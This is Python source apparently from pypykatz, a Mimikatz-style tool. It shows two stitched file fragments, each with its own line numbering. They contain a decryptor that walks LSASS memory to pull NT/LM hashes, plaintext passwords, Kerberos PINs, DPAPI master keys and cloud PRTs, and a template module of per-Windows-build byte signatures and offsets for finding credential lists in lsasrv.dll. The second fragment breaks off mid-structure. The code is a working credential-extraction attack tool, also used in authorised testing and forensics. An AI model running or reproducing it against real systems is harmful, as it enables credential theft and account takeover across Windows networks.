241 for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.credman_creds, self.tspkg_creds]:
242 for cred in package:
243 t = cred.to_dict()
244 if t['password'] is not None:
245 yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])]
246
247 for cred in self.kerberos_creds:
248 t = cred.to_dict()
249 if t['password'] is not None or t['pin'] is not None:
250 pin = ''
251 if t['pin'] is not None:
252 pin = '[PIN]%s' % t['pin']
253 yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', pin]
254 if t['password'] is not None:
255 yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])]
256
257 for cred in self.dpapi_creds:
258 t = cred.to_dict()
259 yield [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
260
261 for cred in self.cloudap_creds:
262 t = cred.to_dict()
263 #print(t)
264 yield [str(t['credtype']), '', '', '', '', '', str(t['dpapi_key']), str(t['dpapi_key_sha1']), str(t['key_guid']), base64.b64encode(str(t['PRT']).encode()).decode()]
265
266
267
268
269
270 class MsvDecryptor(PackageDecryptor):
271 def __init__(self, reader, decryptor_template, lsa_decryptor, credman_template, sysinfo):
272 super().__init__('Msv', lsa_decryptor, sysinfo, reader)
273 self.decryptor_template = decryptor_template
274 self.credman_decryptor_template = credman_template
275 self.entries = []
276 self.entries_seen = {}
277 self.logon_sessions = {}
278 self.logon_session_count = None
279
280 self.current_logonsession = None
281
282 async def find_first_entry(self):
283 #finding signature
284 position = await self.find_signature('lsasrv.dll',self.decryptor_template.signature)
285
286 #getting logon session count
287 if self.sysinfo.architecture == KatzSystemArchitecture.X64 and self.sysinfo.buildnumber > WindowsMinBuild.WIN_BLUE.value:
288 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2)
289 await self.reader.move(ptr_entry_loc)
290 t = await self.reader.read(1)
291 self.logon_session_count = int.from_bytes(t, byteorder = 'big', signed = False)
292 else:
293 self.logon_session_count = 1
294
295 #getting logon session ptr
296 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
297 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
298 return ptr_entry, ptr_entry_loc
299
300 async def add_entry(self, entry):
301 self.current_logonsession = await LogonSession.parse(entry, self.reader)
302 if entry.CredentialManager.value != 0:
303 await self.parse_credman_credentials(entry)
304
305 if entry.Credentials_list_ptr.value != 0:
306 await self.walk_list(entry.Credentials_list_ptr, self.add_credentials)
307 else:
308 self.log('No credentials in this structure!')
309
310 self.logon_sessions[self.current_logonsession.luid] = self.current_logonsession
311
312 async def add_credentials(self, primary_credentials_list_entry):
313 await self.walk_list(
314 primary_credentials_list_entry.PrimaryCredentials_ptr,
315 self.add_primary_credentials
316 )
317
318 async def parse_credman_credentials(self, logon_session):
319 await self.log_ptr(logon_session.CredentialManager.value, 'KIWI_CREDMAN_SET_LIST_ENTRY')
320 credman_set_list_entry = await logon_session.CredentialManager.read(self.reader, override_finaltype = KIWI_CREDMAN_SET_LIST_ENTRY)
321 await self.log_ptr(credman_set_list_entry.list1.value, 'KIWI_CREDMAN_LIST_STARTER')
322 list_starter = await credman_set_list_entry.list1.read(self.reader, override_finaltype = KIWI_CREDMAN_LIST_STARTER)
323 if list_starter.start.value != list_starter.start.location:
324 await self.walk_list(list_starter.start, self.add_credman_credential, override_ptr = self.credman_decryptor_template.list_entry)
325
326 async def add_credman_credential(self, credman_credential_entry):
327
328 c = CredmanCredential()
329 c.username = await credman_credential_entry.user.read_string(self.reader)
330 c.domainname = await credman_credential_entry.server2.read_string(self.reader)
331
332 if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
333 enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
334 if c.username.endswith('$') is True:
335 c.password = self.decrypt_password(enc_data, bytes_expected=True)
336 if c.password is not None:
337 c.password = c.password.hex()
338 else:
339 c.password = self.decrypt_password(enc_data)
340
341 c.luid = self.current_logonsession.luid
342
343 self.current_logonsession.credman_creds.append(c)
344
345
346 async def add_primary_credentials(self, primary_credentials_entry):
347 encrypted_credential_data = await primary_credentials_entry.encrypted_credentials.read_data(self.reader)
348
349 #this is super-strange but sometimes the encrypted data can be empty (seen in forensics images)
350 if not encrypted_credential_data:
351 return
352
353 self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
354 self.log('Decrypting credential structure')
355 dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
356 self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
357
358 struct_reader = AGenericReader(dec_data, self.sysinfo.architecture)
359 if len(dec_data) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[4:8] == b'\xcc\xcc\xcc\xcc':
360 creds_struct = await MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.load(struct_reader)
361 else:
362 creds_struct = await self.decryptor_template.decrypted_credential_struct.load(struct_reader)
363
364
365 cred = MsvCredential()
366
367 if creds_struct.UserName:
368 try:
369 cred.username = await creds_struct.UserName.read_string(struct_reader)
370 except Exception as e:
371 self.log('Failed to get username, reason : %s' % str(e))
372 if creds_struct.LogonDomainName:
373 try:
374 cred.domainname = await creds_struct.LogonDomainName.read_string(struct_reader)
375 except Exception as e:
376 self.log('Failed to get domainname, reason : %s' % str(e))
377
378
379 if hasattr(creds_struct, 'DPAPIProtected') and creds_struct.DPAPIProtected != b'\x00'*16:
380 cred.DPAPI = creds_struct.DPAPIProtected
381
382 if hasattr(creds_struct, 'isIso'):
383 cred.isoProt = bool(creds_struct.isIso)
384 #
385 # if cred.isoProt is True:
386 # cred.NThash = None
387 # cred.LMHash = None
388 # cred.SHAHash = None
389 #
390 #else:
391 # cred.NThash = creds_struct.NtOwfPassword
392 #
393 # if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16:
394 # cred.LMHash = creds_struct.LmOwfPassword
395 # cred.SHAHash = creds_struct.ShaOwPassword
396
397 cred.NThash = creds_struct.NtOwfPassword
398
399 if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16:
400 cred.LMHash = creds_struct.LmOwfPassword
401 cred.SHAHash = creds_struct.ShaOwPassword
402
403 self.current_logonsession.msv_creds.append(cred)
404
405 async def start(self):
406 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
407 for i in range(self.logon_session_count):
408 await self.reader.move(entry_ptr_loc)
409 for _ in range(i*2): #skipping offset in an architecture-agnostic way
410 await self.reader.read_int() #does nothing just moves the position
411 #self.log('moving to other logon session')
412
413 entry_ptr = await self.decryptor_template.list_entry.load(self.reader)
414
415 if entry_ptr.location == entry_ptr.value:
416 # when there are multiple logon sessions (modern windows) there are cases when the
417 # logon session list doesnt exist anymore. worry not, there are multiple of them,
418 # but we need to skip the ones that are empty (eg. pointer points to itself)
419 continue
420
421 await self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
7 from pypykatz.alsadecryptor.win_datatypes import BOOLEAN, HANDLE, USHORT, ULONG, LSA_UNICODE_STRING, LSAISO_DATA_BLOB, \
8 BYTE, PVOID, WORD, DWORD, POINTER, LUID, PSID, ANSI_STRING
9 from pypykatz.alsadecryptor.package_commons import PackageTemplate
10
11 class MsvTemplate(PackageTemplate):
12 def __init__(self):
13 super().__init__('Msv')
14
15 self.signature = None
16 self.first_entry_offset = None
17 self.offset2 = None
18
19 self.list_entry = None
20 self.encrypted_credentials_list_struct = None
21 self.encrypted_credential_struct = None
22 self.decrypted_credential_struct = None
23
24 @staticmethod
25 def get_template(sysinfo):
26 template = MsvTemplate()
27 template.encrypted_credentials_list_struct = KIWI_MSV1_0_CREDENTIAL_LIST
28 template.log_template('encrypted_credentials_list_struct', template.encrypted_credentials_list_struct)
29 template.encrypted_credential_struct = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC
30 template.log_template('encrypted_credential_struct', template.encrypted_credential_struct)
31 #identify credential session list structure to be used
32 if sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
33 template.list_entry = PKIWI_MSV1_0_LIST_51
34
35 elif sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
36 template.list_entry = PKIWI_MSV1_0_LIST_52
37
38 elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
39 template.list_entry = PKIWI_MSV1_0_LIST_60
40
41 elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
42 #do not do that :)
43 if sysinfo.msv_dll_timestamp > 0x53480000:
44 template.list_entry = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ
45 else:
46 template.list_entry = PKIWI_MSV1_0_LIST_61
47
48 elif sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
49 #template.list_entry = PKIWI_MSV1_0_LIST_62
50 if sysinfo.msv_dll_timestamp > 0x53480000:
51 template.list_entry = PKIWI_MSV1_0_LIST_63
52 else:
53 template.list_entry = PKIWI_MSV1_0_LIST_62
54
55 else:
56 template.list_entry = PKIWI_MSV1_0_LIST_63
57
58 template.log_template('list_entry', template.list_entry)
59 if sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
60 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_DEC
61 elif sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value:
62 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC
63 elif sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
64 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_DEC
65 else:
66 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC
67
68 template.log_template('decrypted_credential_struct', template.decrypted_credential_struct)
69
70 if sysinfo.architecture == KatzSystemArchitecture.X64:
71 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
72 template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8'
73 template.first_entry_offset = -4
74 template.offset2 = 0
75
76 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
77 template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8'
78 template.first_entry_offset = -4
79 template.offset2 = -45
80
81 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
82 template.signature = b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84'
83 template.first_entry_offset = 21#-4
84 template.offset2 = -4
85
86 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
87 template.signature = b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84'
88 template.first_entry_offset = 19
89 template.offset2 = -4
90
91 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
92 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
93 template.first_entry_offset = 16
94 template.offset2 = -4
95
96 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
97 template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05'
98 template.first_entry_offset = 36
99 template.offset2 = -6
100
101 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value:
102 #1503 and 1603
103 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
104 template.first_entry_offset = 16
105 template.offset2 = -4
106
107 elif WindowsBuild.WIN_10_1703.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value:
108 #1703
109 template.signature = b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74'
110 template.first_entry_offset = 23
111 template.offset2 = -4
112
113 elif WindowsBuild.WIN_10_1803.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value:
114 #1803
115 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74'
116 template.first_entry_offset = 23
117 template.offset2 = -4
118
119 else:
120 #1903
121 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
122 template.first_entry_offset = 23
123 template.offset2 = -4
124
125 elif sysinfo.architecture == KatzSystemArchitecture.X86:
126 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
127 template.signature = b'\xff\x50\x10\x85\xc0\x0f\x84'
128 template.first_entry_offset = 24
129 template.offset2 = 0
130
131
132 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
133 template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd'
134 template.first_entry_offset = -11
135 template.offset2 = -43
136
137
138 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
139 template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd'
140 template.first_entry_offset = -11
141 template.offset2 = -42
142
143 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
144 template.signature = b'\x8b\x45\xf8\x8b\x55\x08\x8b\xde\x89\x02\x89\x5d\xf0\x85\xc9\x74'
145 template.first_entry_offset = 18
146 template.offset2 = -4
147
148 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
149 template.signature = b'\x8b\x4d\xe4\x8b\x45\xf4\x89\x75\xe8\x89\x01\x85\xff\x74'
150 template.first_entry_offset = 16
151 template.offset2 = -4
152
153 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value:
154 template.signature = b'\x8b\x4d\xe8\x8b\x45\xf4\x89\x75\xec\x89\x01\x85\xff\x74'
155 template.first_entry_offset = 16
156 template.offset2 = -4
157 else:
158 raise Exception('Could not identify template! sysinfo.buildnumber: %d' % sysinfo.buildnumber)
159
160 else:
161 raise Exception('Unknown Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber))
162
163
164 return template
165
166
167 class MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC:
168 #this structure doesnt have username nor domainname, but has credentials :S
169 #starts with
170 size = 0x60
171 def __init__(self):
172 self.unk1 = None
173 self.unk2 = None
174 self.unk_tag = None
175 self.unk_remaining_size = None
176 self.LengthOfNtOwfPassword = None
177 self.NtOwfPassword = None
178 self.LengthOfShaOwfPassword = None
179 self.ShaOwPassword = None
180
181 self.LogonDomainName = None
182 self.UserName = None
183 self.LmOwfPassword = None
184 self.isNtOwfPassword = None
185 self.isLmOwfPassword = None
186 self.isShaOwPassword = None
187
188 @staticmethod
189 async def load(reader):
190 res = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC()
191 res.unk1 = await USHORT.loadvalue(reader)
192 res.unk2 = await USHORT.loadvalue(reader)
193 res.unk_tag = await reader.read(4) #0xcccccc
194 res.unk_remaining_size = await ULONG.loadvalue(reader)
195 await reader.read(40)
196 res.LengthOfNtOwfPassword = await ULONG.loadvalue(reader)
197 res.NtOwfPassword = await reader.read(16)
198 res.LengthOfShaOwfPassword = await ULONG.loadvalue(reader)
199 res.ShaOwPassword = await reader.read(20)
200
201 res.LogonDomainName = None
202 res.UserName = None
203 res.LmOwfPassword = None
204 res.isNtOwfPassword = None
205 res.isLmOwfPassword = None
206 res.isShaOwPassword = None
207 return res
208
209 class MSV1_0_PRIMARY_CREDENTIAL_DEC:
210 def __init__(self):
211 self.LogonDomainName = None
212 self.UserName = None
213 self.NtOwfPassword = None
214 self.LmOwfPassword = None
215 self.ShaOwPassword = None
216 self.isNtOwfPassword = None
217 self.isLmOwfPassword = None
218 self.isShaOwPassword = None
219
220 @staticmethod
221 async def load(reader):
222 res = MSV1_0_PRIMARY_CREDENTIAL_DEC()
223 res.LogonDomainName = await LSA_UNICODE_STRING.load(reader)
224 res.UserName = await LSA_UNICODE_STRING.load(reader)
225 res.NtOwfPassword = await reader.read(16)
226 res.LmOwfPassword = await reader.read(16)
227 res.ShaOwPassword = await reader.read(20)
228 res.isNtOwfPassword = await BOOLEAN.loadvalue(reader)
229 res.isLmOwfPassword = await BOOLEAN.loadvalue(reader)
230 res.isShaOwPassword = await BOOLEAN.loadvalue(reader)
231 return res
232
233 class MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC:
234 def __init__(self):
235 self.LogonDomainName = None
236 self.UserName = None
237 self.isIso = None
238 self.isNtOwfPassword = None
239 self.isLmOwfPassword = None
240 self.isShaOwPassword = None
241 self.align0 = None
242 self.align1 = None
243 self.NtOwfPassword = None
244 self.LmOwfPassword = None
245 self.ShaOwPassword = None
246
247 @staticmethod
248 async def load(reader):
249 res = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC()
250 res.LogonDomainName = await LSA_UNICODE_STRING.load(reader)
251 res.UserName = await LSA_UNICODE_STRING.load(reader)
252 res.isIso = await BOOLEAN.loadvalue(reader)
253 res.isNtOwfPassword = await BOOLEAN.loadvalue(reader)
254 res.isLmOwfPassword = await BOOLEAN.loadvalue(reader)
255 res.isShaOwPassword = await BOOLEAN.loadvalue(reader)
256 res.align0 = await BYTE.loadvalue(reader)
257 res.align1 = await BYTE.loadvalue(reader)
258 res.NtOwfPassword = await reader.read(16)
259 res.LmOwfPassword = await reader.read(16)
260 res.ShaOwPassword = await reader.read(20)
261 return res
262
263 class MSV1_0_PRIMARY_CREDENTIAL_10_DEC:
264 def __init__(self):
265 self.LogonDomainName = None
266 self.UserName = None
267 self.isIso = None
268 self.isNtOwfPassword = None
269 self.isLmOwfPassword = None
270 self.isShaOwPassword = None
271 self.align0 = None
272 self.align1 = None
273 self.align2 = None
274 self.align3 = None
275 self.NtOwfPassword = None
276 self.LmOwfPassword = None
277 self.ShaOwPassword = None
278
279 @staticmethod
280 async def load(reader):
281 res = MSV1_0_PRIMARY_CREDENTIAL_10_DEC()
282 res.LogonDomainName = await LSA_UNICODE_STRING.load(reader)
283 res.UserName = await LSA_UNICODE_STRING.load(reader)
284 res.isIso = await BOOLEAN.loadvalue(reader)
285 res.isNtOwfPassword = await BOOLEAN.loadvalue(reader)
286 res.isLmOwfPassword = await BOOLEAN.loadvalue(reader)
287 res.isShaOwPassword = await BOOLEAN.loadvalue(reader)
288 res.align0 = await BYTE.loadvalue(reader)
289 res.align1 = await BYTE.loadvalue(reader)
290 res.align2 = await BYTE.loadvalue(reader)
291 res.align3 = await BYTE.loadvalue(reader)
292 res.NtOwfPassword = await reader.read(16)
293 res.LmOwfPassword = await reader.read(16)
294 res.ShaOwPassword = await reader.read(20)
295 return res
296
297 class MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC:
298 def __init__(self):
299 self.LogonDomainName = None
300 self.UserName = None
301 self.pNtlmCredIsoInProc = None
302 self.isIso = None
303 self.isNtOwfPassword = None
304 self.isLmOwfPassword = None
305 self.isShaOwPassword = None
306 self.isDPAPIProtected = None
307 self.align0 = None
308 self.align1 = None
309 self.align2 = None
310 self.unkD = None
311 # stuff to be done! #pragma pack(push, 2)
312 self.isoSize = None
313 self.DPAPIProtected = None
314 self.align3 = None
315 # stuff to be done! #pragma pack(pop)
316 self.NtOwfPassword = None
317 self.LmOwfPassword = None
318 self.ShaOwPassword = None
319
320 @staticmethod
321 async def load(reader):
322 res = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC()
323 res.LogonDomainName = await LSA_UNICODE_STRING.load(reader)
324 res.UserName = await LSA_UNICODE_STRING.load(reader)
325 res.pNtlmCredIsoInProc = await PVOID.loadvalue(reader)
326 res.isIso = await BOOLEAN.loadvalue(reader)
327 res.isNtOwfPassword = await BOOLEAN.loadvalue(reader)
328 res.isLmOwfPassword = await BOOLEAN.loadvalue(reader)
329 res.isShaOwPassword = await BOOLEAN.loadvalue(reader)
330 res.isDPAPIProtected = await BOOLEAN.loadvalue(reader)
331 res.align0 = await BYTE.loadvalue(reader)
332 res.align1 = await BYTE.loadvalue(reader)
333 res.align2 = await BYTE.loadvalue(reader)
334 res.unkD = await DWORD.loadvalue(reader) # // 1/2
335 # stuff to be done! #pragma pack(push, 2)
336 res.isoSize = await WORD.loadvalue(reader) #// 0000
337 res.DPAPIProtected = await reader.read(16)
338 res.align3 = await DWORD.loadvalue(reader) #// 00000000
339 # stuff to be done! #pragma pack(pop)
340 res.NtOwfPassword = await reader.read(16)
341 res.LmOwfPassword = await reader.read(16)
342 res.ShaOwPassword = await reader.read(20)
343 return res
344
345 class KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC:
346 def __init__(self):
347 self.Flink = None
348 self.Primary = None
349 self.encrypted_credentials = None
350
351 @staticmethod
352 async def load(reader):
353 res = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC()
354 res.Flink = await PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC.load(reader)
355 res.Primary = await ANSI_STRING.load(reader)
356 await reader.align()
357 res.encrypted_credentials = await LSA_UNICODE_STRING.load(reader)
358 return res
359
360 class PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(POINTER):
361 def __init__(self):
362 super().__init__()
363
364 @staticmethod
365 async def load(reader):
366 p = PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC()
367 p.location = reader.tell()
368 p.value = await reader.read_uint()
369 p.finaltype = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC
370 return p
371
372 #class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER):
373 # def __init__(self, reader):
374 # super().__init__(reader, PKIWI_MSV1_0_CREDENTIAL_LIST)
375
376 class KIWI_MSV1_0_CREDENTIAL_LIST:
377 def __init__(self):
378 self.Flink = None
379 self.AuthenticationPackageId = None
380 self.PrimaryCredentials_ptr = None
381
382 @staticmethod
383 async def load(reader):
384 res = KIWI_MSV1_0_CREDENTIAL_LIST()
385 res.Flink = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
386 res.AuthenticationPackageId = await DWORD.loadvalue(reader)
387 await reader.align()
388 res.PrimaryCredentials_ptr = await PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC.load(reader)
389 return res
390
391
392 class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER):
393 def __init__(self):
394 super().__init__()
395
396 @staticmethod
397 async def load(reader):
398 p = PKIWI_MSV1_0_CREDENTIAL_LIST()
399 p.location = reader.tell()
400 p.value = await reader.read_uint()
401 p.finaltype = KIWI_MSV1_0_CREDENTIAL_LIST
402 return p
403
404 class PKIWI_MSV1_0_LIST_51(POINTER):
405 def __init__(self):
406 super().__init__()
407
408 @staticmethod
409 async def load(reader):
410 p = PKIWI_MSV1_0_LIST_51()
411 p.location = reader.tell()
412 p.value = await reader.read_uint()
413 p.finaltype = KIWI_MSV1_0_LIST_51
414 return p
415
416 class KIWI_MSV1_0_LIST_51:
417 def __init__(self):
418 self.Flink = None
419 self.Blink = None
420 self.LocallyUniqueIdentifier = None
421 self.UserName = None
422 self.Domaine = None
423 self.unk0 = None
424 self.unk1 = None
425 self.pSid = None
426 self.LogonType = None
427 self.Session = None
428 self.LogonTime = None
429 self.LogonServer = None
430 self.Credentials_list_ptr = None
431 self.unk19 = None
432 self.unk20 = None
433 self.unk21 = None
434 self.unk22 = None
435 self.unk23 = None
436 self.CredentialManager = None
437
438 @staticmethod
439 async def load(reader):
440 res = KIWI_MSV1_0_LIST_51()
441 res.Flink = await PKIWI_MSV1_0_LIST_51.load(reader)
442 res.Blink = await PKIWI_MSV1_0_LIST_51.load(reader)
443 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
444 res.UserName = await LSA_UNICODE_STRING.load(reader)
445 res.Domaine = await LSA_UNICODE_STRING.load(reader)
446 res.unk0 = await PVOID.loadvalue(reader)
447 res.unk1 = await PVOID.loadvalue(reader)
448 res.pSid = await PSID.load(reader)
449 res.LogonType = await ULONG.loadvalue(reader)
450 res.Session = await ULONG.loadvalue(reader)
451 await reader.align(8)
452 t = t = await reader.read(8)
453 res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86
454 await reader.align()
455 res.LogonServer = await LSA_UNICODE_STRING.load(reader)
456 res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
457 res.unk19 = await ULONG.loadvalue(reader)
458 await reader.align()
459 res.unk20 = await PVOID.loadvalue(reader)
460 res.unk21 = await PVOID.loadvalue(reader)
461 res.unk22 = await PVOID.loadvalue(reader)
462 res.unk23 = await ULONG.loadvalue(reader)
463 await reader.align()
464 res.CredentialManager = await PVOID.load(reader)
465 return res
466
467 class PKIWI_MSV1_0_LIST_52(POINTER):
468 def __init__(self):
469 super().__init__()
470
471 @staticmethod
472 async def load(reader):
473 p = PKIWI_MSV1_0_LIST_52()
474 p.location = reader.tell()
475 p.value = await reader.read_uint()
476 p.finaltype = KIWI_MSV1_0_LIST_52
477 return p
478
479 class KIWI_MSV1_0_LIST_52:
480 def __init__(self):
481 self.Flink = None
482 self.Blink = None
483 self.LocallyUniqueIdentifier = None
484 self.UserName = None
485 self.Domaine = None
486 self.unk0 = None
487 self.unk1 = None
488 self.pSid = None
489 self.LogonType = None
490 self.Session = None
491 self.LogonTime = None
492 self.LogonServer = None
493 self.Credentials_list_ptr = None
494 self.unk19 = None
495 self.unk20 = None
496 self.unk21 = None
497 self.unk22 = None
498 self.CredentialManager = None
499
500 @staticmethod
501 async def load(reader):
502 res = KIWI_MSV1_0_LIST_52()
503 res.Flink = await PKIWI_MSV1_0_LIST_52.load(reader)
504 res.Blink = await PKIWI_MSV1_0_LIST_52.load(reader)
505 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
506 res.UserName = await LSA_UNICODE_STRING.load(reader)
507 res.Domaine = await LSA_UNICODE_STRING.load(reader)
508 res.unk0 = await PVOID.loadvalue(reader)
509 res.unk1 = await PVOID.loadvalue(reader)
510 res.pSid = await PSID.load(reader)
511 res.LogonType = await ULONG.loadvalue(reader)
512 res.Session = await ULONG.loadvalue(reader)
513 await reader.align(8)
514 t = await reader.read(8)
515 res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86
516 res.LogonServer = await LSA_UNICODE_STRING.load(reader)
517 res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
518 res.unk19 = await ULONG.loadvalue(reader)
519 await reader.align()
520 res.unk20 = await PVOID.loadvalue(reader)
521 res.unk21 = await PVOID.loadvalue(reader)
522 res.unk22 = await ULONG.loadvalue(reader)
523 await reader.align()
524 res.CredentialManager = await PVOID.load(reader)
525 return res
526
527 class PKIWI_MSV1_0_LIST_60(POINTER):
528 def __init__(self):
529 super().__init__()
530
531 @staticmethod
532 async def load(reader):
533 p = PKIWI_MSV1_0_LIST_60()
534 p.location = reader.tell()
535 p.value = await reader.read_uint()
536 p.finaltype = KIWI_MSV1_0_LIST_60
537 return p
538
539 class KIWI_MSV1_0_LIST_60:
540 def __init__(self):
541 self.Flink = None
542 self.Blink = None
543 self.unk0 = None
544 self.unk1 = None
545 self.unk2 = None
546 self.unk3 = None
547 self.unk4 = None
548 self.unk5 = None
549 self.hSemaphore6 = None
550 self.unk7 = None
551 self.hSemaphore8 = None
552 self.unk9 = None
553 self.unk10 = None
554 self.unk11 = None
555 self.unk12 = None
556 self.unk13 = None
557 self.LocallyUniqueIdentifier = None
558 self.SecondaryLocallyUniqueIdentifier = None
559 self.UserName = None
560 self.Domaine = None
561 self.unk14 = None
562 self.unk15 = None
563 self.pSid = None
564 self.LogonType = None
565 self.Session = None
566 self.LogonTime = None
567 self.LogonServer = None
568 self.Credentials_list_ptr = None
569 self.unk19 = None
570 self.unk20 = None
571 self.unk21 = None
572 self.unk22 = None
573 self.unk23 = None
574 self.CredentialManager = None
575
576 @staticmethod
577 async def load(reader):
578 res = KIWI_MSV1_0_LIST_60()
579 res.Flink = await PKIWI_MSV1_0_LIST_60.load(reader)
580 res.Blink = await PKIWI_MSV1_0_LIST_60.load(reader)
581 await reader.align()
582 res.unk0 = await PVOID.loadvalue(reader)
583 res.unk1 = await ULONG.loadvalue(reader)
584 await reader.align()
585 res.unk2 = await PVOID.loadvalue(reader)
586 res.unk3 = await ULONG.loadvalue(reader)
587 res.unk4 = await ULONG.loadvalue(reader)
588 res.unk5 = await ULONG.loadvalue(reader)
589 await reader.align()
590 res.hSemaphore6 = await HANDLE.loadvalue(reader)
591 await reader.align()
592 res.unk7 = await PVOID.loadvalue(reader)
593 await reader.align()
594 res.hSemaphore8 = await HANDLE.loadvalue(reader)
595 await reader.align()
596 res.unk9 = await PVOID.loadvalue(reader)
597 await reader.align()
598 res.unk10 = await PVOID.loadvalue(reader)
599 res.unk11 = await ULONG.loadvalue(reader)
600 res.unk12 = await ULONG.loadvalue(reader)
601 await reader.align()
602 res.unk13 = await PVOID.loadvalue(reader)
603 await reader.align()
604 t = await reader.read(8)
605 res.LocallyUniqueIdentifier = int.from_bytes(t, byteorder = 'little', signed = False)
606 t = await reader.read(8)
